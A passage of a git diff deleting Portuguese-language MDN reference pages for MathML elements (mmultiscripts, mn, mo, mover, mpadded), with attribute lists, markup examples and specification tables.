-<p>Após a expressão base pode especificar um <em>post-subscript</em> e um <em>post-superscript</em>. Os <em>prescripts</em> são opcionais e são separados pela etiqueta vazia <code>&lt;mprescripts/&gt;</code> (apenas um <code>&lt;mprescripts/&gt;</code> elemento é permitido, caso contrário obterá um erro <code>DuplicateMprescripts</code> na Consola de Erros e "invalid-markup" na sua renderização). Além disso, é possível utilizar <code>&lt;none/&gt;</code> como espaço reservado para <em>scripts</em> vazios (não para a base). Veja a secção de exemplos para uma utilização correta.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style"><code>class</code>, <code>id</code>, <code>style</code></dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href"><code>href</code></dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground"><code>mathbackground</code></dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor"><code>mathcolor</code></dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-subscriptshift"><code>subscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>subscript</em> e a linha de base da expressão, como um <a class="external external-icon" href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
- <dt id="attr-superscriptshift"><code>superscriptshift</code> {{deprecated_inline}}</dt>
- <dd>O espaço mínimo entre o <em>superscript</em> e a linha de base da expressão, como um <a class="external external-icon" href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">valor de comprimento.</a><br>
- Este atributo está obsoleto e será removido no futuro.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usar_&lt;mprescripts>">Usar <code>&lt;mprescripts/&gt;</code></h3>
-
-<p>Exemplo: <img alt="" src="/files/3223/mmultiscripts_prescripts.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mmultiscripts> <mi>X</mi> <mi>d</mi> <mi>c</mi> <mprescripts></mprescripts> <mi>b</mi> <mi>a</mi> </mmultiscripts> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mmultiscripts&gt;
-
- &lt;mi&gt;X&lt;/mi&gt; &lt;!-- base expression --&gt;
-
- &lt;mi&gt;d&lt;/mi&gt; &lt;!-- postsubscript --&gt;
- &lt;mi&gt;c&lt;/mi&gt; &lt;!-- postsuperscript --&gt;
-
- &lt;mprescripts /&gt;
- &lt;mi&gt;b&lt;/mi&gt; &lt;!-- presubscript --&gt;
- &lt;mi&gt;a&lt;/mi&gt; &lt;!-- presuperscript --&gt;
-
- &lt;/mmultiscripts&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h3 id="Usar_&lt;none>">Usar <code>&lt;none/&gt;</code></h3>
-
-<p>Exemplo: <img alt="" src="/files/3222/mmultiscripts_none.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mmultiscripts> <mi>X</mi> <none></none> <mi>c</mi> <mprescripts></mprescripts> <mi>b</mi> <none></none> </mmultiscripts> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
- &lt;mmultiscripts&gt;
-
- &lt;mi&gt;X&lt;/mi&gt; &lt;!-- base expression --&gt;
-
- &lt;none /&gt; &lt;!-- postsubscript --&gt;
- &lt;mi&gt;c&lt;/mi&gt; &lt;!-- postsuperscript --&gt;
-
- &lt;mprescripts /&gt;
- &lt;mi&gt;b&lt;/mi&gt; &lt;!-- presubscript --&gt;
- &lt;none /&gt; &lt;!-- presuperscript --&gt;
-
- &lt;/mmultiscripts&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mmultiscripts', 'mmultiscripts') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mmultiscripts', 'mmultiscripts') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mmultiscripts")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("msub") }} (<em>Subscript</em>)</li>
- <li>{{ MathMLElement("msup") }} (<em>Superscript</em>)</li>
- <li>{{ MathMLElement("msubsup") }} (Par de <em>subscript-superscript</em>)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mn/index.html b/files/pt-pt/web/mathml/element/mn/index.html
deleted file mode 100644
index 431a62f8e9..0000000000
--- a/files/pt-pt/web/mathml/element/mn/index.html
+++ /dev/null
@@ -1,116 +0,0 @@
----
-title: <mn>
-slug: Web/MathML/Element/mn
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Elements'
- - Referência de MathML
-translation_of: Web/MathML/Element/mn
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mn&gt;</code> representa uma <em>numeric literal</em> que tipicamente é uma sequência de dígitos com um possível separador (um ponto ou uma vírgula). Contudo, também é permissível ter um texto arbitrário que representa um número, por exemplo "onze".</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathsize">mathsize</dt>
- <dd>O tamanho do conteúdo. Ver <a class="external external-icon" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">comprimento</a> para os valores aceites.<br>
- Valores obsoletos: <code>small</code>, <code>normal</code> e <code>big</code>. Estes serão removidos no futuro.</dd>
- <dt id="attr-mathvariant">mathvariant</dt>
- <dd>Este atributo especifica a classe lógica do identificador, que varia em tipografia. Ou seja, embora os nomes sugerem o estilo tipográfico da classe, semanticamente, os itens com a mesma classe são tratados "da mesma forma" dentro de uma expressão, o que pode ou não envolver a sua exibição com a tipografia nomeada. São permitidos os seguintes valores:
- <ul>
- <li><code>normal</code> (Valor pré-definido) ; <math><mn mathvariant="normal">Exemplo</mn></math></li>
- <li><code>bold</code> ; <math><mn mathvariant="bold">Exemplo</mn></math></li>
- <li><code>italic</code> ; <math><mn mathvariant="italic">Exemplo</mn></math></li>
- <li><code>bold-italic</code> ; <math><mn mathvariant="bold-italic">Exemplo</mn></math></li>
- </ul>
-
- <ul>
- <li><code>double-struck</code> ; <math><mn mathvariant="double-struck">Exemplo</mn></math></li>
- <li><code>bold-fraktur</code> ; <math><mn mathvariant="bold-fraktur">Exemplo</mn></math></li>
- <li><code>script</code> ; <math><mn mathvariant="script">Exemplo</mn></math></li>
- <li><code>bold-script</code> ; <math><mn mathvariant="bold-script">Exemplo</mn></math></li>
- <li><code>fraktur</code> ; <math><mn mathvariant="fraktur">Exemplo</mn></math></li>
- </ul>
-
- <ul>
- <li><code>sans-serif</code> ; <math><mn mathvariant="sans-serif">Exemplo</mn></math></li>
- <li><code>bold-sans-serif</code> ; <math><mn mathvariant="bold-sans-serif">Exemplo</mn></math></li>
- <li><code>sans-serif-italic</code> ; <math><mn mathvariant="sans-serif-italic">Exemplo</mn></math></li>
- <li><code>sans-serif-bold-italic</code> ; <math><mn mathvariant="sans-serif-bold-italic">Exemplo</mn></math></li>
- <li><code>monospace</code> ; <math><mn mathvariant="monospace">Exemplo</mn></math></li>
- </ul>
-
- <ul>
- <li><code>initial</code> ; <math><mn mathvariant="initial">مثال</mn></math></li>
- <li><code>tailed</code> ; <math><mn mathvariant="tailed">مثال</mn></math></li>
- <li><code>looped</code> ; <math><mn mathvariant="looped">مثال</mn></math></li>
- <li><code>stretched</code> ; <math><mn mathvariant="stretched">مثال</mn></math></li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;mn&gt; 0 &lt;/mn&gt;
-
-  &lt;mn&gt; 1.337 &lt;/mn&gt;
-
-  &lt;mn&gt; twelve &lt;/mn&gt;
-
-  &lt;mn&gt; XVI &lt;/mn&gt;
-
-  &lt;mn&gt; 2e10 &lt;/mn&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mn', 'mn') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mn', 'mn') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mn")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Alguns valores para <code>mathvariant</code> só estão implementados a partir de Gecko 28.0 {{ geckoRelease("28.0") }} e requerem a <a href="/en-US/docs/Mozilla/MathML_Project/Fonts">fonte de matemática</a> correta.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mo/index.html b/files/pt-pt/web/mathml/element/mo/index.html
deleted file mode 100644
index c9b995eb47..0000000000
--- a/files/pt-pt/web/mathml/element/mo/index.html
+++ /dev/null
@@ -1,171 +0,0 @@
----
-title: <mo>
-slug: Web/MathML/Element/mo
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Token Elements'
- - Referência de MathML
-translation_of: Web/MathML/Element/mo
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mo&gt;</code> representa um operador. Para além de operadores de matemática, este elemento inclui "operadores" como parênteses, separadores como a vírgula ou ponto e virgula, ou barras do "valor absoluto".</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-accent">accent</dt>
- <dd>Se o operador for utilizado como <em><a href="/pt-PT/docs/MathML/Element/munder">under</a>-</em> ou <em><a href="/pt-PT/docs/MathML/Element/mover">overscript</a></em> este atributo especifica se o operador deve ser tratado como um acento.<br>
- Os valores permitidos são <code>true</code> ou <code>false</code>.</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-dir">dir</dt>
- <dd>A direção geral das fórmulas. Valores aceites são <code>ltr</code> (da esquerda para a direita) ou <code>rtl</code> (da direita para a esquerda).</dd>
- <dt id="attr-fence">fence</dt>
- <dd>Não existe um efeito visual para este atributo, mas indica se o operador é uma cerca (como parênteses).<br>
- Os valores permitidos são <code>true</code> ou <code>false</code>.</dd>
- <dt id="attr-form">form</dt>
- <dd>Especifica o papel do operador numa expressão fechada, o que afeta o espaçamento e outras propriedades pré-definidas. Para os operadores normais (+, -, etc.) normalmente não é necessário especificar explicitamente este atributo.<br>
- Os valores aceites são:
- <ul>
- <li><code>prefix</code>, para a abertura de cercas. (Isto é o valor pré-definido se o operador é o primeiro argumento num elemento de {{ MathMLElement("mrow") }} com mais que um argumento.)</li>
- <li><code>infix</code>, para separadores. (É o valor pré-definido se o operador não está incluído num elemento de {{ MathMLElement("mrow") }}.)</li>
- <li><code>postfix</code>, para fechar cercas. (Isto é o valor pré-definido se o operador é o último argumento num elemento de {{ MathMLElement("mrow") }} com mais que um argumento.)</li>
- </ul>
- </dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-largeop">largeop</dt>
- <dd>Specifies whether the operator should be drawn larger than normal when <code>displaystyle="true"</code> is set. Allowed values are either <code>true</code> or <code>false</code>.</dd>
- <dt id="attr-lspace">lspace</dt>
- <dd>O espaço antes de um operador (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades). O constante <code>thickmathspace</code> (5/18em) é o valor pré-definido.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathsize">mathsize</dt>
- <dd>O tamanho do conteúdo. Ver <a class="external external-icon" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos" rel="noopener">comprimento</a> para os valores aceites.<br>
- Valores obsoletos: <code>small</code>, <code>normal</code> e <code>big</code>. Estes serão removidos no futuro.</dd>
- <dt id="attr-mathvariant">mathvariant</dt>
- <dd>Este atributo especifica a classe lógica do identificador, que varia em tipografia. Ou seja, embora os nomes sugerem o estilo tipográfico da classe, semanticamente, os itens com a mesma classe são tratados "da mesma forma" dentro de uma expressão, o que pode ou não envolver a sua exibição com a tipografia nomeada. São permitidos os seguintes valores
- <ul>
- <li><code>normal</code> (valor pré-definido) ; <math><mo mathvariant="normal">Exemplo</mo></math></li>
- <li><code>bold</code> ; <math><mo mathvariant="bold">Exemplo</mo></math></li>
- <li><code>italic</code> ; <math><mo mathvariant="italic">Exemplo</mo></math></li>
- <li><code>bold-italic</code> ; <math><mo mathvariant="bold-italic">Exemplo</mo></math></li>
- </ul>
-
- <ul>
- <li><code>double-struck</code> ; <math><mo mathvariant="double-struck">Exemplo</mo></math></li>
- <li><code>bold-fraktur</code> ; <math><mo mathvariant="bold-fraktur">Exemplo</mo></math></li>
- <li><code>script</code> ; <math><mo mathvariant="script">Exemplo</mo></math></li>
- <li><code>bold-script</code> ; <math><mo mathvariant="bold-script">Exemplo</mo></math></li>
- <li><code>fraktur</code> ; <math><mo mathvariant="fraktur">Exemplo</mo></math></li>
- </ul>
-
- <ul>
- <li><code>sans-serif</code> ; <math><mo mathvariant="sans-serif">Exemplo</mo></math></li>
- <li><code>bold-sans-serif</code> ; <math><mo mathvariant="bold-sans-serif">Exemplo</mo></math></li>
- <li><code>sans-serif-italic</code> ; <math><mo mathvariant="sans-serif-italic">Exemplo</mo></math></li>
- <li><code>sans-serif-bold-italic</code> ; <math><mo mathvariant="sans-serif-bold-italic">Exemplo</mo></math></li>
- <li><code>monospace</code> ; <math><mo mathvariant="monospace">Exemplo</mo></math></li>
- </ul>
-
- <ul>
- <li><code>initial</code> ; <math><mo mathvariant="initial">مثال</mo></math></li>
- <li><code>tailed</code> ; <math><mo mathvariant="tailed">مثال</mo></math></li>
- <li><code>looped</code> ; <math><mo mathvariant="looped">مثال</mo></math></li>
- <li><code>stretched</code> ; <math><mo mathvariant="stretched">مثال</mo></math></li>
- </ul>
- </dd>
- <dt id="attr-maxsize">maxsize</dt>
- <dd>Se <code>stretchy</code> é <code>true</code>, este atributo indica o tamanho máximo do operador. Os valores permitidos são:
- <ul>
- <li><code>infinity</code></li>
- <li>um <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> arbitrário</li>
- </ul>
- </dd>
- <dt id="attr-minsize">minsize</dt>
- <dd>Se <code>stretchy</code> é <code>true</code>, este atributo indica o tamanho mínimo do operador. Os valores permitidos são:
- <ul>
- <li><code>infinity</code></li>
- <li>um <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> arbitrário</li>
- </ul>
- </dd>
- <dt id="attr-movablelimits">movablelimits</dt>
- <dd>Indicia se <em>under-</em> e <em>overscripts</em> auxiliares movem para posições <em>sub-</em> e <em>superscript</em> quando <code>displaystyle</code> é <code>false</code>.<br>
- Valores permitidos são <code>true</code> ou <code>false.</code></dd>
- <dt id="attr-rspace">rspace</dt>
- <dd>O espaço após o operador (ver <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> para valores e unidades). O constante <code>thickmathspace</code> (5/18em) é o valor pré-definido.</dd>
- <dt id="attr-separator">separator</dt>
- <dd>Não existe um efeito visual para este atributo, mas indica se o operador é um separador (como as vírgulas).<br>
- Os valores permitidos são <code>true</code> ou <code>false</code>.</dd>
- <dt id="attr-stretchy">stretchy</dt>
- <dd>Indica se o operador estica-se até o tamanho do elemento adjacente.<br>
- Os valores permitidos são <code>true</code> or <code>false</code>.</dd>
- <dt id="attr-symmetric">symmetric</dt>
- <dd>Se <code>stretchy</code> é <code>true</code>, este atributo indica se o operador deve ser verticalmente simétrico à volta do eixo imaginário (linha de fração centrada).<br>
- O valor pré-definido é <code>true</code> se <em><strong>stretchy</strong></em> é <code>true</code> também, senão é <code>false</code>. Os valores aceites são <code>true</code> ou <code>false</code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;mrow&gt;
-  &lt;mn&gt;5&lt;/mn&gt;
-  &lt;mo&gt;+&lt;/mo&gt;
-  &lt;mn&gt;5&lt;/mn&gt;
-&lt;/mrow&gt;
-
-&lt;mrow&gt;
- &lt;mo&gt; [ &lt;/mo&gt; &lt;!-- default form value: prefix --&gt;
-  &lt;mrow&gt;
- &lt;mn&gt; 0 &lt;/mn&gt;
- &lt;mo&gt; ; &lt;/mo&gt; &lt;!-- default form value: infix --&gt;
-    &lt;mn&gt; 1 &lt;/mn&gt;
- &lt;/mrow&gt;
- &lt;mo&gt; ) &lt;/mo&gt; &lt;!-- default form value: postfix --&gt;
-&lt;/mrow&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mo', 'mo') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mo', 'mo') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mo")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>A começar com o Gecko 16.0 {{ geckoRelease("16.0") }} os valores pré-definidos de <code>lspace</code> e <code>rspace</code> foram corrigidos para serem igual à especificação de MathML3. O valor pré-definido é agora o <code>thickmathspace</code> (5/18em).</li>
- <li>Alguns valores de <code>mathvariant</code> só foram implementados a partir do Gecko 28.0 (Firefox 28.0 / Thunderbird 28.0 / SeaMonkey 2.25) e requerem as <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project/Fonts">fontes de matemática</a> corretas.</li>
- <li>Quaisquer atributos de <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbattrs" title="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbattrs">quebra de linha</a> ou <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbindent.attrs" title="http://www.w3.org/TR/MathML3/chapter3.html#presm.lbindent.attrs">atributos de indentação</a> ainda não estão implementados. Ver {{ bug("534962") }}.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mover/index.html b/files/pt-pt/web/mathml/element/mover/index.html
deleted file mode 100644
index d91f7e02c1..0000000000
--- a/files/pt-pt/web/mathml/element/mover/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: <mover>
-slug: Web/MathML/Element/mover
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mover
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;mover&gt;</code> é usado para adicionar um acento ou limite sob uma expressão. Use antes a sintaxe seguinte: <code>&lt;mover&gt; <em>base overscript</em> &lt;/mover&gt;</code></p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-accent">accent</dt>
- <dd>Se <code>true</code>, o elemento é um acento, que então é desenhado mais perto da expressão base.<br>
- Se <code>false</code> (valor pré-definido), o elemento é um limite acima da expressão base.</dd>
- <dt id="attr-align">align {{deprecated_inline}}</dt>
- <dd>O alinhamento do <em>overscript</em>. Os valores possíveis são: <code>left</code>, <code>center</code>, and <code>right</code>.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes o atributo de CSS <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/text-align">text-align</a></code>.</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x+y+z" src="/files/3196/mover.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <mover accent="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏞ </mo> </mover> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;mover accent="true"&gt;
- &lt;mrow&gt;
- &lt;mi&gt; x &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mi&gt; y &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mi&gt; z &lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mo&gt; &amp;#x23DE; &lt;!--TOP CURLY BRACKET--&gt; &lt;/mo&gt;
-&lt;/mover&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificações</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mover', 'mover') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mover', 'mover') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação incial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mover")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("munder") }} (<em>Underscript</em>)</li>
- <li>{{ MathMLElement("munderover") }} (Par de <em>underscript-overscript</em>)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mpadded/index.html b/files/pt-pt/web/mathml/element/mpadded/index.html
deleted file mode 100644
index 3d48b92ddd..0000000000
--- a/files/pt-pt/web/mathml/element/mpadded/index.html
+++ /dev/null
@@ -1,96 +0,0 @@
----
-title: <mpadded>
-slug: Web/MathML/Element/mpadded
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:General Layout Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/mpadded
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento MathML <code>&lt;mpadded&gt;</code> é usado para adicionar extra <em>padding</em> e para ajustar a posição e o tamanho de elementos enroupados.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-depth">depth</dt>
- <dd>Decide ou altera a profundidade. Os valores possíveis: Qualquer <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> ou um incremento/decremento (um comprimento com um prefixo de "+" ou "-").</dd>
- <dt id="attr-height">height</dt>
- <dd>Decide ou altera a altura. Os valores possíveis: Qualquer <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> ou um incremento/decremento (um comprimento com um prefixo de "+" ou "-").</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-lspace">lspace</dt>
- <dd>Decide ou altera a posição horizontal. Os valores possíveis: Qualquer <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> ou um incremento/decremento (um comprimento com um prefixo de "+" ou "-").</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">nomes de cores HTML</a>.</dd>
- <dt id="attr-voffset">voffset</dt>
- <dd>Decide ou altera a posição vertical. Os valores possíveis: Qualquer <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> ou um incremento/decremento (um comprimento com um prefixo de "+" ou "-").</dd>
- <dt id="attr-width">width</dt>
- <dd>Decide ou altera a largura. Os valores possíveis: Qualquer <a href="/pt-PT/docs/Web/MathML/Attribute/Valores#Comprimentos">comprimento</a> ou um incremento/decremento (um comprimento com um prefixo de "+" ou "-").</dd>
-</dl>
-
-<h3 id="Pseudo-unidades">Pseudo-unidades</h3>
-
-<p>É possível utilizar as palavras-chave "<code>depth</code>", "<code>height</code>", e "<code>width</code>" como pseudo-unidade para os atributos <code>depth</code>, <code>height</code>, <code>lspace</code>, <code>voffset</code>, e <code>width</code>. Estes representam o comprimento da dimensão com o mesmo nome.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;mpadded height="+150px" width="100px" lspace="2height"&gt;
-    &lt;mi&gt; x &lt;/mi&gt;
-    &lt;mo&gt; + &lt;/mo&gt;
-    &lt;mi&gt; y &lt;/mi&gt;
-  &lt;/mpadded&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mpadded', 'mpadded') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mpadded', 'mpadded') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mpadded")}}</p>
-
